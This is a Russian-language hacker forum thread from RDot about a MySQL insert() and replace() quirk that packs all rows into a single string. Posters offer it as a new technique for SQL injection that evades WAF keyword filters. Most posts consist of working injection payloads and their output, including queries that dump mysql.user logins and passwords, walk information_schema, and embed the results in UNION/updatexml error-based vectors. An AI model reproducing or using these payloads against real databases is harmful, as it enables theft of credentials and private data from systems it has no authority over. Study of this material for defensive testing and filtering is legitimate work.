Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 20.09.2013, 14:48   #1
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
Lightbulb MySQL: Вытягивание записей в строку с использованием встроенной функции insert

Все вы знаете о выводе колонок MySQL таблицы в одну строку, итак, встречаем - Четвертый метод! Но об этом немного позже, а сейчас вспомним то, что имеется на сегодняшний день.

Из статьи Dr.Z3r0: MySQL SQL Injection [полный FAQ]:

1. group_concat

  • + Простое использование, небольшой размер
  • - Ограничение в 1024 символа
  • - Достаточно распространенные в WAF блокируемые слова: concat, group и _

2. BENCHMARK
  • + Возможность отсутствия использования concat, group и _
  • - Большой размер
  • - Выборка по одной из уникальных колонк
  • - Спец-символы @ : = BENCHMARK

3. Неявный цикл в условии
  • + Небольшой синтаксис
  • + Отсутствие ограничений
  • - Спец-символы @ : =


А теперь новинка, использование бага функции insert(). Синтаксис функции достаточно простой:
Код:
INSERT(str,pos,len,newstr)
str - Изначальная строка
pos - Позиция
len - Длина
newstr - Новая строка

INSERT вставляет в str после pos с длиной len строку newstr:

insert('RDoT', 1, 2, 'DR') = DRoT
insert(':', 1, 0, 'RDoT') = RDoT:
Смотрим дальше, натыкаемся на интересную особенность:
Код:
mysql> SELECT insert(':', 1, 0, 'RDoT') from mysql.user;
+---------------------------+
| insert(':', 1, 0, 'RDoT') |
+---------------------------+
| RDoT:                     |
| RDoT:                     |
| RDoT:                     |
| RDoT:                     |
| RDoT:                     |
| RDoT:                     |
| RDoT:                     |
| RDoT:                     |
+---------------------------+
8 rows in set (0.00 sec)

mysql> SELECT insert(0x3A, 1, 0, 'RDoT') from mysql.user;
+-----------------------------------+
| insert(0x3A, 1, 0, 'RDoT')        |
+-----------------------------------+
| RDoT:                             |
| RDoTRDoT:                         |
| RDoTRDoTRDoT:                     |
| RDoTRDoTRDoTRDoT:                 |
| RDoTRDoTRDoTRDoTRDoT:             |
+-----------------------------------+
5 rows in set (0.00 sec)
Попробуем вставиnm rand():
Код:
mysql> SELECT insert(0x3A, 1, 0, rand()) from mysql.user LIMIT 5;
+----------------------------------------------------------------------------------------------+
| insert(0x3A, 1, 0, rand())                                                                   |
+----------------------------------------------------------------------------------------------+
| 0.4782688650100202:                                                                          |
| 0.189468408179905650.4782688650100202:                                                       |
| 0.51253547660311260.189468408179905650.4782688650100202:                                     |
| 0.99427218920949120.51253547660311260.189468408179905650.4782688650100202:                   |
| 0.43375454697176310.99427218920949120.51253547660311260.189468408179905650.4782688650100202: |
+----------------------------------------------------------------------------------------------+
5 rows in set (0.00 sec)
А если выводить данные?
Код:
mysql> SELECT user from mysql.user;
+------------------+
| user             |
+------------------+
| root             |
| root             |
|                  |
| root             |
|                  |
| debian-sys-maint |
| phpmyadmin       |
| root             |
+------------------+
8 rows in set (0.00 sec)


mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B)) from mysql.user;
+-----------------------------------------------------+
| insert(0x3A, 1, 0, concat(user,0x3B))               |
+-----------------------------------------------------+
| root;:                                              |
| root;root;:                                         |
| ;root;root;:                                        |
| root;;root;root;:                                   |
| ;root;;root;root;:                                  |
| debian-sys-maint;;root;;root;root;:                 |
| phpmyadmin;debian-sys-maint;;root;;root;root;:      |
| root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
+-----------------------------------------------------+
8 rows in set (0.00 sec)
Идет склейка, правда с конца. WHERE или LIMIT отдать последнюю запись нам не помогут, но HAVING можно попробовать:
Код:
mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B))s from mysql.user having length(s) > 50; // Фильтр по количеству символов
+----------------------------------------------------------+
| s                                                        |
+----------------------------------------------------------+
| root;root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
+----------------------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT concat(@a,count(*)) from mysql.user where @a:=insert(0x3A, 1, 0, concat(user,0x3B)); // Запись в WHERE и вывод с помощью переменной и функции группировки
+------------------------------------------------------+
| concat(@a,count(*))                                  |
+------------------------------------------------------+
| root;phpmyadmin;debian-sys-maint;;root;;root;root;:0 |
+------------------------------------------------------+
1 row in set (0.00 sec)
И самый козырный способ:
PHP код:
SELECT insert(0x3A10concat(TABLE_SCHEMA,0x3B,TABLE_NAME,0x3B,COLUMN_NA  ME,0x0A))s from information_schema.columns ORDER BY s*0 LIMIT 1;
...
information_schema;COLUMNS;EXTRA
information_schema
;COLUMNS;COLUMN_KEY
information_schema
;COLUMNS;COLUMN_TYPE
information_schema
;COLUMNS;COLLATION_NAME
information_schema
;COLUMNS;CHARACTER_SET_NAME
information_schema
;COLUMNS;NUMERIC_SCALE
information_schema
;COLUMNS;NUMERIC_PRECISION
information_schema
;COLUMNS;CHARACTER_OCTET_LENGTH
information_schema
;COLUMNS;CHARACTER_MAXIMUM_LENGTH
information_schema
;COLUMNS;DATA_TYPE
... 
Вместо ORDER BY s*0 можно использовать ORDER BY-s, работает достаточно-быстро.
  • + Небольшой размер, отсутствие ограничений, использования подзапросов
  • + Полное отсутствие запрещенных слов и символов(Вместо concat можно тот-же insert для склейки использовать)
  • - Запятая, скобки, from - Без них не обойтись
Проверено на MySQL 5.1, 5.5

Последний раз редактировалось NameSpace; 20.03.2014 в 08:24..
NameSpace вне форума   Ответить с цитированием
Старый 20.09.2013, 15:23   #2
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Ограничение на максимальный размер пакетов между SQL клиентом и сервером (max_allowed_packet) остается,
не критично, но можно и наткнуться на него.
nikp вне форума   Ответить с цитированием
Старый 20.09.2013, 18:25   #3
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

Еще к интересному моменту - работает не только если первый аргумент представлен в HEX, но и если это пустая строка:
Цитата:
SELECT INSERT('', 1, 0, CONCAT(user,0 x3a)) FROM mysql.user;
profexer вне форума   Ответить с цитированием
Старый 26.09.2013, 22:49   #4
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Кто-нибудь пытался разобрать почему это работает? Или где то разработчики в коде забыли про обнуление переменных xD?
InSys вне форума   Ответить с цитированием
Старый 26.09.2013, 23:24   #5
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

Я смотрел исходники по этому поводу. Насколько я понял, они прое упустили очищение переменной tmp_value, в следствии чего получается профит.

Если интересно, сама функция находится в item_strfunc.cc
profexer вне форума   Ответить с цитированием
Старый 23.03.2014, 11:43   #6
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Совместно с CoolMan разработали полноценный вектор, работающий без пререканий везде, где это возможно.
PHP код:
SELECT convert(max(binary reverse(insert(0x3A10reverse(concat(0x3Auser0x3Apassword0x0A))))), char(1000000)) FROM mysql.user// При фильтрации CHAR используйте BINARY 
Для выборки значения решено использовать агрегатную функцию max(), выводящую наибольший аргумент. Можно было взять и переменные:
PHP код:
SELECT FROM (SELECT @:=insert(0x3A10concat(0x3Auser0x3Apassword0x0A)) FROM mysql.user)a LIMIT 1
Однако, тогда вектор не получится использовать в updatexml/extractvalue и эстетика теряется.

reverse() - Функция разворота строки. Требуется не только для того, чтобы получить записи в правильном порядке, но и для правильного сравнения. Пример:
Код:
SELECT '::a' < ':a'; // TRUE, символы сравниваются по порядку, длина строки значения не имеет значения
Второй reverse разворачивает записи для читабельного вида, можно обойтись и без него.

BINARY - Cast a string to a binary string. For example:
PHP код:
SELECT ":a" ":a\nE"// FALSE
SELECT binary ":a" binary ":a\nE"// TRUE 
Главная магия — convert. Варианты из статьи проблематично использовать в подзапросах, в UNION - вылезают ограничения. Здесь они не обнаружены. Пример использования:
PHP код:
SELECT 1 UNION SELECT updatexml(1quote(quote(mid((X), 132))), 1);

SELECT convert(max(binary reverse(insert(0x3A10reverse(concat(TABLE_SCHEMA0x3ATABLE_NAME0x3A,  COLUMN_NAME0x0A))))), char(1000000)) FROM information_schema.columns WHERE TABLE_SCHEMA !=0x696e666f726d6174696f6e5f736368656d61 
NameSpace вне форума   Ответить с цитированием
Старый 11.05.2015, 11:40   #7
spari
 
Регистрация: 10.09.2012
Сообщений: 46
Репутация: 24
По умолчанию

replace() have the same bug, when we combine global variable with global variable / time function.
Код:
SELECT replace(@@version,5,@@version) FROM my_table;                                                                             
+-------------------------------------------------------------------------------------------------------------------+                                        
| replace(@@version,5,@@version)                                                                                    |                                        
+-------------------------------------------------------------------------------------------------------------------+                                        
| 10.0.110.0.15-MariaDB-MariaDB                                                                                     |                                        
| 10.0.110.0.110.0.15-MariaDB-MariaDB-MariaDB                                                                       |                                        
| 10.0.110.0.110.0.110.0.15-MariaDB-MariaDB-MariaDB-MariaDB                                                         |                                        
| 10.0.110.0.110.0.110.0.110.0.15-MariaDB-MariaDB-MariaDB-MariaDB-MariaDB                                           |                                        
| 10.0.110.0.110.0.110.0.110.0.110.0.15-MariaDB-MariaDB-MariaDB-MariaDB-MariaDB-MariaDB                             |                                                                               
+-------------------------------------------------------------------------------------------------------------------+                                        
5 rows in set (0.01 sec)
works with any global variables, and time function, like now().
tested on mysql 5.1, 5.5, 5.6 and mariadb.
we can use the "all in one shot" query as well.
Код:
SELECT convert(replace(@@version,@@version,concat(0x0a,table_schema,0x2e,table_name,0x203a20,column_name,@@version)),char(9999999)) FROM information_schema.columns;
----
information_schema.CHARACTER_SETS : CHARACTER_SET_NAME
information_schema.CHARACTER_SETS : DEFAULT_COLLATE_NAME
information_schema.CHARACTER_SETS : DESCRIPTION
information_schema.CHARACTER_SETS : MAXLEN
information_schema.CLIENT_STATISTICS : CLIENT
information_schema.CLIENT_STATISTICS : TOTAL_CONNECTIONS
information_schema.CLIENT_STATISTICS : CONCURRENT_CONNECTIONS
information_schema.CLIENT_STATISTICS : CONNECTED_TIME
information_schema.CLIENT_STATISTICS : BUSY_TIME
........
spari вне форума   Ответить с цитированием
Старый 18.10.2016, 14:43   #8
CoolMan
 
Регистрация: 22.12.2011
Сообщений: 2
Репутация: 0
По умолчанию

доброго дня. подскажите: если таблица имеет большой объем и мне надо что бы обрабатывались например 3 строки из 100, как можно лимитировать данный способ с insert? например возьмем
Цитата:
SELECT insert(0x3A, 1, 0, concat(TABLE_SCHEMA,0x3B,TABLE_NAME,0x3B,COLUMN_NA ME,0x0A)) from information_schema.columns LIMIT 3
как сделать чтобы в строке были только три записи с таблицы?
LIMIT 3 - не работает, выдает все что в information_schema.columns

Последний раз редактировалось CoolMan; 18.10.2016 в 14:54..
CoolMan вне форума   Ответить с цитированием
Старый 18.10.2016, 16:13   #9
CoolMan
 
Регистрация: 22.12.2011
Сообщений: 2
Репутация: 0
По умолчанию

сам спросил - сам и отвечу))
Цитата:
SELECT insert(0x3A, 1, 0, concat(TABLE_SCHEMA,0x3B,TABLE_NAME,0x3B,COLUMN_NA ME,0x0A)) from (select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.columns limit 3)x
CoolMan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot